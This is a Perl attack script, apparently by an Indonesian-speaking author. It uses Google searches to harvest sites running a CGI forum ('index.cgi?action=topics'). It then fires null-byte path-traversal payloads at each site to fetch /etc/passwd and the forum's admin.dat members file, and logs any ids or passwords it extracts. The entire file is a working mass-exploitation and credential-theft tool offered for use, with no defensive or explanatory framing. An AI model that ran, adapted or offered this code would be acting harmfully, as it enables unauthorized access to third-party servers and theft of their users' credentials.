#!/usr/bin/perl
#

use LWP::UserAgent;
use HTTP::Message;
use URI::Escape;


$baner=<<END
Google webapp bug lewat konsole...
:))

END
;
printlog($baner);

$proxy = 'http://172.9.1.11:80/';
$log="tmp_webapp_donlod.log";
$fsav="google_webapp_donlod.txt";
$tempfile="webapp_log.txt";

$komponen=$ARGV[0];

$usage = "Usage: perl $0 <keyword> 
Example : perl $0 \"index.cgi?action=topics\" \n";
if($#ARGV<0) { die "$usage"; }

$exp1="&viewcat=../../../../../../../etc/passwd%00";
$exp2="&viewcat=../../db/members/admin.dat%00";

$ua = LWP::UserAgent->new;
$ua->timeout(35);
$ua->agent("MSIE/6.0 Windows");
$ua->proxy(http => $proxy) if defined($proxy);

$browser = LWP::UserAgent->new;
$browser -> agent($Agent);
$browser->proxy(http => $proxy) if defined($proxy);

$counter=0;

#Read last session
open(hf,$fsav);
$lastsav=<hf>;
close(hf);
$check=1;#Check if any save session

$nomer=1;
while(1)
{
$gourl = "http://www.google.com/search?q=allinurl:$komponen&num=10&hl=en&lr=&ie=UTF-8&oe=utf-8&start=$counter&sa=N";
$grabresponse = $ua->get($gourl);
$counter=$counter+10;
if (!($grabresponse->is_success)) {
printlog ($grabresponse->status_line. "  Failure\n");
} else {

$data1 = $grabresponse->as_string;
open(lol,">$tempfile");
print lol $data1;
close(lol);

open(lol,$tempfile) || die("Cannot open the file");
@fh=<lol>;
close(lol);
#$data=join("",@loli);

exit if ($data=~/Google does not serve more than 1000/); #End Google search or Stop
#@tmp=split(/\<p class\=g\>\<a href\=http\:\/\//,$data);
#for ($a = 1; $a < $#tmp; $a++)
foreach (@fh) 
{
  #@u=split(/\>/,$tmp[$a]);
  #@t=split(/\/mod/,$u[0]);
  $hasil=$_=~/\<p class\=g\>\<a href\=http\:\/\/((?:.+?)index.cgi\?action\=topics)(?:.+?)\>/g;
  #$url=$t[0];
  $url=$1;
  
  if ($hasil) { #print "found = $pass ::: \n";}
  
  if (($lastsav ne "") && (!($lastsav =~ /$url/)) && $check)
  {
     next;
  } else
  {
     $check=0;
  }
  #Save Session
  open(hf,">$fsav");
  print hf $url;
  close(hf);
  
  printlog("$nomer. http://$url$exp1\t");
  $nomer++;

#GET password ; exp1
  $urltarget= "http://$url".$exp1;
  $urltarget=~s/ /%20/g;
  print "\nProcessing oi $urltarget.....\n";

$loginpost = $urltarget;
$loginrequest = HTTP::Request->new(GET => $loginpost);
$loginrequest->referer($urltarget);
print "Proses GET sedang berlangsung...\n";
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;

  if (!($loginresponse->is_success)) {
       print ("$loginpost  Failure\n");
       printlog ("Gagal total ".$loginresponse->status_line. "  Failure\n");
     } else {
       print ("$loginpost  Success\n");
       printlog ($loginresponse->status_line. "  could be Success\n");
       #print "$logincek\n";
         
$data1 = $loginresponse->as_string;
open(lol,">$tempfile");
print lol $data1;
close(lol);

print "sukses donlod exp1 ...\n";
#exit;

open(lol,$tempfile) || die("Cannot open the file");
@loli=<lol>;
close(lol);
#$data=join("",@loli);

foreach (@loli) {

 $hasil=$_=~/\;id\=(.+?)\"\>/g;
 $pass=$1;
 if ($hasil) {printlog ("found = $pass :::\n");$tanda=1;}
} #of foreach
if (!($tanda==1)) {printlog ("parsing file gak ada hasil...  \n");}
$tanda=0;
  } # of else sukses

printlog("\n");

#GET admin.dat ; exp2
  $urltarget= "http://$url".$exp2;
  $urltarget=~s/ /%20/g;
  print "\nProcessing oi $urltarget.....\n";

$loginpost = $urltarget;
$loginrequest = HTTP::Request->new(GET => $loginpost);
$loginrequest->referer($urltarget);
print "Proses GET sedang berlangsung...\n";
$loginresponse = $browser->request($loginrequest);
$logincek = $loginresponse->as_string;

  if (!($loginresponse->is_success)) {
       print ("$loginpost  Failure\n");
       printlog ("Gagal total ".$loginresponse->status_line. "  Failure\n");
     } else {
       print ("$loginpost  Success\n");
       printlog ($loginresponse->status_line. "  could be Success\n");
       #print "$logincek\n";
         
$data1 = $loginresponse->as_string;
open(lol,">$tempfile");
print lol $data1;
close(lol);

print "sukses donlod exp2 ...\n";
#exit;

open(lols,$tempfile) || die("Cannot open the file");
@lolipop=<lols>;
close(lols);
#$data=join("",@loli);

foreach (@lolipop) {

 $hasil=$_=~/\;id\=(.+?)\"\>/g;
 $pass=$1;
 if ($hasil) {printlog ("found = $pass :::\n");$tanda=1;}
} #of foreach
if (!($tanda==1)) {printlog ("parsing file gak ada hasil...  \n");}
$tanda=0;
  } # of else sukses

printlog("\n");

} #end of if ($hasil)
} #end of foreach

} #end of if

} #end of while


sub printlog {
print @_[0];
open(lo,">>$log");
print lo @_[0];
close(lo);
return;
}